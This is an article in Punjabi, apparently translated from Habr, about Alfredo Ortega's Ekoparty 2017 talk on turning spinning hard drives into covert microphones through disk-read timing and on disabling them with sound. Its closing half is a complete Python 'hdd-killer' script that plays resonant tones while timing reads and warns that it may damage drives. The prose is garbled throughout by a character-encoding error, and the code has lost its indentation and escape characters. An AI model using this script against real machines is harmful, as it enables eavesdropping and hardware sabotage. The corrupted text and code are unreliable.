เจฌเจฟเจเจจเจธ เจเจเจฐเจธ เจตเจฟเฉฑเจ Ekoparty 2017 เจเฉฐเจชเจฟเจเจเจฐ เจธเฉเจฐเฉฑเจเจฟเจ เจเจพเจจเจซเจฐเฉฐเจธ เจตเจฟเฉฑเจ, เจ
เจฐเจเจจเจเฉเจจเจพ เจฆเฉ เจนเฉเจเจฐ เจ
เจฒเจซเจฐเฉเจกเฉ เจเจฐเจเฉเจเจพ เจจเฉ เจเฉฑเจ เจฌเจนเฉเจค เจนเฉ เจฆเจฟเจฒเจเจธเจช เจตเจฟเจเจพเจธ เจฆเจฟเจเจพเจเจ - เจเฉฑเจ เจฎเจพเจเจเฉเจฐเฉเจซเฉเจจ เจฆเฉ เจตเจฐเจคเฉเจ เจเฉเจคเฉ เจฌเจฟเจจเจพเจ เจชเจฐเจฟเจธเจฐ เจฆเฉ เจเฉเจชเจค เจตเจพเจเจฐเจเฉเจชเจฟเฉฐเจ เจฒเจ เจเฉฑเจ เจชเฉเจฐเจฃเจพเจฒเฉเฅค เจงเฉเจจเฉ
HDD เจฎเฉเฉฑเจ เจคเฉเจฐ 'เจคเฉ เจเฉฑเจ-เจคเฉเจฌเจฐเจคเจพ เจตเจพเจฒเฉเจเจ เจเฉฑเจ-เจซเฉเจฐเฉเจเฉเจเจเจธเฉ เจเจตเจพเจเจผเจพเจ, เจชเฉเจฐเจพเจ เจฆเฉ เจเจฆเจฎ เจ
เจคเฉ เจนเฉเจฐ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจเฉเฉฑเจเจฆเจพ เจนเฉเฅค เจฎเจจเฉเฉฑเจเฉ เจฌเฉเจฒเฉ เจจเฉเฉฐ เจ
เจเฉ เจคเฉฑเจ เจชเจเจพเจฃเจฟเจ เจจเจนเฉเจ เจเจพ เจธเจเจฆเจพ, เจนเจพเจฒเจพเจเจเจฟ เจตเจฟเจเจฟเจเจจเฉ
เจงเฉเจจเฉ เจนเจตเจพ เจเจพเจ เจเจฟเจธเฉ เจนเฉเจฐ เจฎเจพเจงเจฟเจ
เจฎ เจฆเฉ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจนเฉเฅค เจเฉฑเจ เจตเจฟเจ
เจเจคเฉ เจเจนเจจเจพเจ เจจเฉเฉฐ เจเฉฐเจจ เจฆเฉ เจชเจฐเจฆเฉ เจฐเจพเจนเฉเจ เจธเจฎเจเจฆเจพ เจนเฉ, เจเฉ เจ
เฉฐเจฆเจฐเจฒเฉ เจเฉฐเจจ เจคเฉฑเจ เจเฉฐเจฌเจฃเฉ เจธเฉฐเจเจพเจฐเจฟเจค เจเจฐเจฆเจพ เจนเฉเฅค เจฎเจพเจเจเฉเจฐเฉเจซเฉเจจ เจจเฉเฉฐ เจฎเฉเจเฉ เจคเฉเจฐ 'เจคเฉ เจเฉฑเจ เจเฉฐเจจ เจตเจพเจเจ เจกเจฟเจเจผเจพเจเจจ เจเฉเจคเจพ เจเจฟเจ เจนเฉ - เจเฉฑเจฅเฉ เจตเฉ, เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจเฉฑเจ เจชเจคเจฒเฉ เจเจฟเฉฑเจฒเฉ เจฆเฉเจเจฐเจพ เจฐเจฟเจเจพเจฐเจก เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉ, เจเฉ เจเฉฑเจ เจฌเจฟเจเจฒเจ เจชเฉเจฐเจญเจพเจต เจจเฉเฉฐ เจเจคเจธเจผเจพเจนเจฟเจค เจเจฐเจฆเจพ เจนเฉเฅค เจนเจพเจฐเจก เจกเจฐเจพเจเจต, เจฌเฉเจธเจผเฉฑเจ, เจเจฒเฉ เจฆเฉเจเจฒเฉ เจฆเฉ เจนเจตเจพ เจตเจฟเฉฑเจ เจเจคเจฐเจพเจ
-เจเฉเฉเจนเจพเจ
เจฆเฉ เจเจพเจฐเจจ เจฎเจพเจเจเฉเจฐเฉเจธเจเฉเจชเจฟเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจฆเฉ เจ
เจงเฉเจจ เจตเฉ เจนเฉเฅค เจเจน เจเจเจกเฉเจกเฉเจเจผ เจฆเฉเจเจ เจคเจเจจเฉเจเฉ เจตเจฟเจธเจผเฉเจธเจผเจคเจพเจตเจพเจ เจคเฉเจ เจตเฉ เจเจพเจฃเจฟเจ เจเจพเจเจฆเจพ เจนเฉ: เจจเจฟเจฐเจฎเจพเจคเจพ เจเจฎ เจคเฉเจฐ 'เจคเฉ เจตเฉฑเจง เจคเฉเจ เจตเฉฑเจง เจชเฉเจฐเจตเจพเจจเจฟเจค เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจชเฉฑเจงเจฐ เจจเฉเฉฐ เจฆเจฐเจธเจพเจเจเจฆเฉ เจนเจจ, เจ
เจคเฉ เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจ
เจเจธเจฐ เจเจธเจจเฉเฉฐ เจฐเจฌเฉ เจเจพเจ เจนเฉเจฐ เจเฉฐเจธเฉเจฒเฉเจเจฟเฉฐเจ เจธเจฎเฉฑเจเจฐเฉ เจฆเฉ เจฌเจฃเฉ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ-เจชเฉเจฐเฉเจซ เจเฉฐเจเฉเจจเจฐ เจตเจฟเฉฑเจ เจฐเฉฑเจเจฃ เจฆเฉ เจเฉเจธเจผเจฟเจธเจผ เจเจฐเจฆเฉ เจนเฉเฅค เจเจธ เจคเฉเจ เจเจน เจธเจฟเฉฑเจเจพ เจเฉฑเจขเจฃเจพ เจเจธเจพเจจ เจนเฉ เจเจฟ เจเจเจกเฉเจกเฉ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจเจตเจพเจเจผเจพเจ เจจเฉเฉฐ เจฐเจฟเจเจพเจฐเจก เจเฉเจคเจพ เจเจพ เจธเจเจฆเจพ เจนเฉเฅค เจเจน เจธเจญ เจเฉเจ เจเจน เจชเจคเจพ เจฒเจเจพเจเจฃเจพ เจนเฉ เจเจฟ เจเจฟเจตเฉเจ.
เจ เจฒเจซเจฐเฉเจกเฉ เจเจฐเจเฉเจเจพ เจจเฉ เจธเจพเจเจก-เจเฉเจจเจฒ เจนเจฎเจฒเฉ เจฆเจพ เจเฉฑเจ เจตเจฟเจฒเฉฑเจเจฃ เจธเฉฐเจธเจเจฐเจฃ เจชเฉเจฐเจธเจคเจพเจตเจฟเจค เจเฉเจคเจพ, เจ เจฐเจฅเจพเจค เจเฉฑเจ เจธเจฎเฉเจ เจฆเจพ เจนเจฎเจฒเจพเฅค เจเจน เจนเจฎเจฒเจพ เจเจธ เจงเจพเจฐเจจเจพ 'เจคเฉ เจ เจงเจพเจฐเจค เจนเฉ เจเจฟ เจฆเจฟเฉฑเจคเฉ เจเจ เจเจจเจชเฉเจ เจกเฉเจเจพ 'เจคเฉ เจจเจฟเจฐเจญเจฐ เจเจฐเจฆเฉ เจนเฉเจ, เจตเฉฑเจ-เจตเฉฑเจ เจธเจฎเจฟเจเจ 'เจคเฉ เจกเจฟเจตเจพเจเจธ 'เจคเฉ เจตเฉฑเจ-เจตเฉฑเจ เจเจชเจฐเฉเจธเจผเจจ เจเฉเจคเฉ เจเจพเจเจฆเฉ เจนเจจเฅค เจเจธ เจธเจฅเจฟเจคเฉ เจตเจฟเฉฑเจ, "เจเจจเจชเฉเจ เจกเฉเจเจพ" เจฐเฉเจกเจฟเฉฐเจ เจนเฉเฉฑเจก เจ เจคเฉ เจเจเจกเฉเจกเฉ เจชเจฒเฉเจเจฐ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจนเจจ, เจเฉ เจเจฟ เจตเจพเจคเจพเจตเจฐเจฃ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเจพเจฒ เจธเจฌเฉฐเจงเจฟเจค เจนเจจ, เจฏเจพเจจเฉ เจเจตเจพเจเจผ เจจเจพเจฒเฅค เจเจธ เจคเจฐเฉเจนเจพเจ, เจเจฃเจจเจพ เจฆเฉ เจธเจฎเฉเจ เจจเฉเฉฐ เจฎเจพเจช เจเฉ เจ เจคเฉ เจกเฉเจเจพ เจฆเจพ เจ เฉฐเจเฉเจพ เจตเจฟเจธเจผเจฒเฉเจธเจผเจฃ เจเจฐเจจ เจฆเฉเจเจฐเจพ, เจธเจฟเจฐ/เจฅเจพเจฒเฉ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจ เจคเฉ เจเจธเจฒเจ เจฎเจพเจงเจฟเจ เจฎ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจฎเจพเจชเจฃเจพ เจธเฉฐเจญเจต เจนเฉเฅค เจกเจพเจเจพ เจชเฉเฉเจนเจจ เจตเจฟเฉฑเจ เจเจฟเฉฐเจจเฉ เจฆเฉเจฐเฉ เจนเฉเจตเฉเจเฉ, เจเจจเฉ เจนเฉ เจฎเจเจผเจฌเฉเจค โโHDD เจเฉฐเจฌเจฃเฉ เจ เจคเฉ, เจเจธเจฒเจ, เจเฉฑเจเฉ เจเจตเจพเจเจผเฅค
เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจจเฉเฉฐ เจเจฟเจตเฉเจ เจฎเจพเจชเจฃเจพ เจนเฉ? เจฌเจนเฉเจค เจธเจงเจพเจฐเจจ: เจธเจฟเจฐเจซเจผ เจธเจฟเจธเจเจฎ เจเจพเจฒ เจเจฒเจพเจ read ()
- เจ
เจคเฉ เจเจธ เจจเฉเฉฐ เจชเฉเจฐเจพ เจเจฐเจจ เจตเจฟเฉฑเจ เจฒเฉฑเจเจฃ เจตเจพเจฒเฉ เจธเจฎเฉเจ เจจเฉเฉฐ เจฐเจฟเจเจพเจฐเจก เจเจฐเฉเฅค เจเจงเฉเจจเจฟเจ เจเจชเจฐเฉเจเจฟเฉฐเจ เจธเจฟเจธเจเจฎ เจคเฉเจนเจพเจจเฉเฉฐ เจจเฉเจจเฉ เจธเจเจฟเฉฐเจ เจธเจผเฉเฉฑเจงเจคเจพ เจจเจพเจฒ เจธเจฟเจธเจเจฎ เจเจพเจฒเจพเจ เจฆเฉ เจธเจฎเฉเจ เจจเฉเฉฐ เจชเฉเฉเจนเจจ เจฆเฉ เจเจเจพเจเจผเจค เจฆเจฟเฉฐเจฆเฉ เจนเจจเฅค
เจเจฟเจธเฉ เจธเฉเจเจเจฐ เจคเฉเจ เจเจพเจฃเจเจพเจฐเฉ เจจเฉเฉฐ เจชเฉเฉเจนเจจ เจฆเฉ เจเจคเฉ เจธเจฟเจฐ เจ เจคเฉ เจชเจฒเฉเจเจฐ เจฆเฉ เจธเจฅเจฟเจคเฉ 'เจคเฉ เจจเจฟเจฐเจญเจฐ เจเจฐเจฆเฉ เจนเฉ, เจเฉ เจเจฟ HDD เจเฉเจธ เจฆเฉเจเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเจพเจฒ เจธเจฌเฉฐเจงเจฟเจค เจนเฉเฅค เจเจน เจธเจญ เจนเฉ.
เจ เฉฐเจเฉเจพ เจตเจฟเจธเจผเจฒเฉเจธเจผเจฃ เจเฉฑเจ เจธเจงเจพเจฐเจจ Kscope เจเจชเจฏเฉเจเจคเจพ เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจเฉ เจเฉเจคเจพ เจเจพเจเจฆเจพ เจนเฉเฅค เจเจฟเจตเฉเจ เจเจฟ เจเจน เจเจนเจฟเฉฐเจฆเฉ เจนเจจ, เจนเจฐ เจเฉเจเจผ เจธเจงเจพเจฐเจจ เจนเฉ.
Kscope เจเจชเจฏเฉเจเจคเจพ (stat() syscall)
Kscope เจธเจฟเจธเจเจฎ เจเจพเจฒ เจเจเจเจผเฉเจเจฟเจเจธเจผเจจ เจธเจฎเฉเจ เจตเจฟเฉฑเจ เจเฉเจเฉ เจ
เฉฐเจคเจฐเจพเจ เจฆเฉ เจเจฒเจชเจจเจพ เจเจฐเจจ เจฒเจ เจเฉฑเจ เจเฉเจเฉ เจธเจนเฉเจฒเจค เจนเฉเฅค เจธเจฐเฉเจค
เจเฉฑเจ เจตเฉฑเจเจฐเฉ เจฐเจฟเจชเฉเจเจผเจเจฐเฉ เจตเจฟเฉฑเจ read ()
.
HDD เจฆเฉ เจตเจฐเจคเฉเจ เจเจฐเจฆเฉ เจนเฉเจ เจงเฉเจจเฉ เจฐเจฟเจเจพเจฐเจกเจฟเฉฐเจ เจฆเจพ เจชเฉเจฐเจฆเจฐเจธเจผเจจ, Kscope เจเจชเจฏเฉเจเจคเจพ เจฆเจพ เจธเฉฐเจเจพเจฒเจจ
เจฌเฉเจธเจผเฉฑเจ, เจญเจพเจธเจผเจฃ เจจเฉเฉฐ เจเจธ เจคเจฐเฉเจเฉ เจจเจพเจฒ เจธเจฎเจเจฟเจ เจจเจนเฉเจ เจเจพ เจธเจเจฆเจพ เจนเฉ, เจชเจฐ HDD เจเฉฑเจ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจ เจธเฉเจเจธเจฐ เจฆเฉ เจฐเฉเจช เจตเจฟเฉฑเจ เจเจพเจซเจผเฉ เจขเฉเจเจตเจพเจ เจนเฉ. เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจคเฉเจธเฉเจ เจฐเจเจฟเจธเจเจฐ เจเจฐ เจธเจเจฆเฉ เจนเฉ เจเฉเจเจฐ เจเฉเจ เจตเจฟเจ เจเจคเฉ เจธเจเจผเจค เจเฉเฉฑเจคเฉเจเจ เจชเจนเจฟเจจเฉ เจเจพเจ เจจเฉฐเจเฉ เจชเฉเจฐเฉเจ เจเฉฐเจชเจฟเจเจเจฐ เจตเจพเจฒเฉ เจเจฎเจฐเฉ เจตเจฟเฉฑเจ เจฆเจพเจเจฒ เจนเฉเจเจ เจนเฉเจตเฉ (เจธเจผเจพเจเจฆ, เจเฉเจเจฐ เจนเจฎเจฒเจพเจตเจฐ เจจเฉ เจจเจฐเจฎ เจธเจจเฉเจเจฐ เจชเจนเจฟเจจเฉ เจนเฉเจ เจนเจจ เจเจพเจ เจซเจฐเจธเจผ 'เจคเฉ เจเฉฑเจ เจฎเฉเจเจพ เจเจพเจฐเจชเฉเจ เจนเฉ, เจคเจพเจ HDD เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจฐเจเจฟเจธเจเจฐ เจเจฐเจจ เจฆเฉ เจฏเฉเจ เจจเจนเฉเจ เจนเฉเจตเฉเจเจพ - เจเจน เจเจพเจเจ เจเจฐเจจ เจฏเฉเจ เจนเฉ)เฅค เจเฉฐเจชเจฟเจเจเจฐ เจเฉเฉฑเจเฉ เจนเฉเจ เจธเจผเฉเจธเจผเฉ เจเจพเจ เจนเฉเจฐ เจเจเจจเจพเจตเจพเจ เจจเฉเฉฐ เจคเฉเจเจผ เจเจตเจพเจเจผ เจฆเฉ เจคเฉเจฌเจฐเจคเจพ เจจเจพเจฒ เจฆเจฐเจ เจเจฐเจจ เจฆเฉ เจฏเฉเจ เจนเฉเฅค เจญเจพเจต, เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจเฉฑเจ เจเจฟเจธเจฎ เจฆเฉ เจ เจฃเจ เจงเจฟเจเจพเจฐเจค เจเฉเจธเจชเฉเจ เจเฉเจ เจชเฉเจฐเจฃเจพเจฒเฉ เจตเจเฉเจ เจเฉฐเจฎ เจเจฐ เจธเจเจฆเฉ เจนเฉเฅค
HDD เจเจพเจคเจฒ
เจคเจฐเฉเจเฉ เจจเจพเจฒ, เจนเจพเจฐเจก เจกเจฐเจพเจเจตเจพเจ เจจเฉเฉฐ เจ เจฏเฉเจ เจเจฐเจจ เจฒเจ เจเฉฑเจ เจธเจฎเจพเจจ เจคเจเจจเฉเจ เจฆเฉ เจตเจฐเจคเฉเจ เจเฉเจคเฉ เจเจพ เจธเจเจฆเฉ เจนเฉ. เจธเจฟเจฐเจซเจผ เจเฉฑเจฅเฉ เจนเฉ เจ เจธเฉเจ HDD เจคเฉเจ เจเจธเฉเจฒเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจจเจนเฉเจ เจนเจเจพเจเจเจฆเฉ, เจชเจฐ เจเจธ เจฆเฉ เจเจฒเจ, เจ เจธเฉเจ เจเจธเฉเจฒเฉเจธเจผเจจเจเจผ เจคเจฟเจเจฐ เจเจฐเจฆเฉ เจนเจพเจ เจเฉ HDD เจจเฉเฉฐ เจเฉเจเจ เจเจพเจเจฆเฉ เจนเจจเฅค เจเฉเจเจฐ เจคเฉเจธเฉเจ HDD เจฌเจพเจฐเฉฐเจฌเจพเจฐเจคเจพ เจจเจพเจฒ เจเฉเฉฐเจเจฃ เจตเจพเจฒเฉ เจซเฉเจฐเฉเจเฉเจเจเจธเฉ 'เจคเฉ เจธเจชเฉเจเจฐ เจคเฉเจ เจเจตเจพเจเจผ เจเจฒเจพเจเจเจฆเฉ เจนเฉ, เจคเจพเจ เจธเจฟเจธเจเจฎ เจเจฒเจฆเฉ เจนเฉ เจเฉฑเจ I/O เจเจฒเจคเฉ เจจเจพเจฒ เจกเจฟเจตเจพเจเจธ เจจเฉเฉฐ เจฌเฉฐเจฆ เจเจฐ เจฆเจฟเฉฐเจฆเจพ เจนเฉ (เจฒเฉเจจเจเจธ เจเจฐเจจเจฒ 120 เจธเจเจฟเฉฐเจเจพเจ เจฌเจพเจ เจฆ HDD เจจเฉเฉฐ เจชเฉเจฐเฉ เจคเจฐเฉเจนเจพเจ เจฌเฉฐเจฆ เจเจฐ เจฆเจฟเฉฐเจฆเจพ เจนเฉ)เฅค เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจจเฉเฉฐ เจเจชเจฃเฉ เจเจช เจตเจฟเฉฑเจ เจจเจพ เจชเฉเจฐเจพ เจนเฉเจฃ เจตเจพเจฒเจพ เจจเฉเจเจธเจพเจจ เจนเฉ เจธเจเจฆเจพ เจนเฉเฅค
เจฒเฉเจจเจเจธ เจเจฐเจจเจฒ เจจเฉ เจเจกเฉเจซเจพเจเจฐ r120u USB เจธเจชเฉเจเจฐ เจฆเฉ เจธเจชเฉเจเจฐ เจฐเจพเจนเฉเจ เจเฉเฉฐเจเจฆเฉ เจฌเจพเจฐเฉฐเจฌเจพเจฐเจคเจพ 'เจคเฉ เจเจตเจพเจเจผ เจชเฉเจฐเจฆเจพเจจ เจเจฐเจจ เจฆเฉ 19 เจธเจเจฟเฉฐเจเจพเจ เจฌเจพเจ
เจฆ เจนเจพเจฐเจก เจกเจฐเจพเจเจต เจจเฉเฉฐ เจฌเฉฐเจฆ เจเจฐ เจฆเจฟเฉฑเจคเจพเฅค เจธเจชเฉเจเจฐ เจฒเจเจญเจ เจเฉฑเจ เจเฉเจฅเจพเจ เจชเจพเจตเจฐ (100 mW เจคเฉเจ เจเฉฑเจ) 'เจคเฉ เจเจพเจฒเฉ เจนเฉเฉฐเจฆเจพ เจนเฉ เจ
เจคเฉ HDD เจคเฉเจ 20 เจธเฉเจเจเฉเจฎเฉเจเจฐ เจฆเฉ เจฆเฉเจฐเฉ 'เจคเฉ เจธเจฅเจฟเจค เจนเฉเฉฐเจฆเจพ เจนเฉ, เจเจฟเจธเจฆเจพ เจเจฆเฉเจธเจผ เจตเจพเจเจฌเฉเจฐเฉเจธเจผเจจเจพเจ เจจเฉเฉฐ เจตเจงเจพเจเจฃเจพ เจนเฉเฅค เจคเฉเจ เจซเจฐเฉเจฎ
เจเจน เจเจคเจธเฉเจ เจนเฉ เจเจฟ เจเจเจกเฉเจกเฉ 'เจคเฉ เจ
เจเจฟเจนเฉ "เจนเจฎเจฒเฉ" เจเจ เจตเจพเจฐเฉ เจฐเฉเจเจผเจพเจจเจพ เจเฉเจตเจจ เจตเจฟเฉฑเจ เจฆเฉเจฐเจเจเจจเจพ เจฆเฉเจเจฐเจพ เจชเฉเจฐเฉ เจคเจฐเฉเจนเจพเจ เจตเจพเจชเจฐเจฆเฉ เจนเจจเฅค เจเจฆเจพเจนเจฐเจจ เจฒเจ, เจธเจคเฉฐเจฌเจฐ 2016 เจตเจฟเฉฑเจ, ING เจฌเฉเจเจ เจกเฉเจเจพ เจธเฉเจเจเจฐ เจจเฉเฉฐ เจซเจพเจเจฐ เจกเจฐเจฟเฉฑเจฒ เจคเฉเจ เจฌเจพเจ
เจฆ 10 เจเฉฐเจเจฟเจเจ เจฒเจ เจเฉฐเจฎเจเจพเจ เจจเฉเฉฐ เจฎเฉเจ
เฉฑเจคเจฒ เจเจฐเจจ เจฒเจ เจฎเจเจฌเฉเจฐ เจเฉเจคเจพ เจเจฟเจ เจธเฉเฅค
เจเฉฑเจ เจกเจพเจเจพ เจธเฉเจเจเจฐ เจตเจฟเฉฑเจ เจนเจพเจฐเจก เจกเจฐเจพเจเจตเจพเจ 'เจคเฉ เจฎเจจเฉเฉฑเจเฉ เจเฉเจเจพเจ เจฆเจพ เจชเฉเจฐเจฆเจฐเจธเจผเจจเฅค เจฒเฉเจเฉเจเจธเฉ เจฎเจพเจช
เจเฉเฉฐเจเจฆเฉ เจเจตเจพเจเจผ เจชเฉเจฆเจพ เจเจฐเจจ เจฒเจ, เจ เจฒเจซเจฐเฉเจกเฉ เจเจฐเจเฉเจเจพ เจจเฉ เจชเจพเจเจฅเจจ เจธเจเฉเจฐเจฟเจชเจ เจฒเจฟเจเฉ
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
เจธเจฐเฉเจค: www.habr.com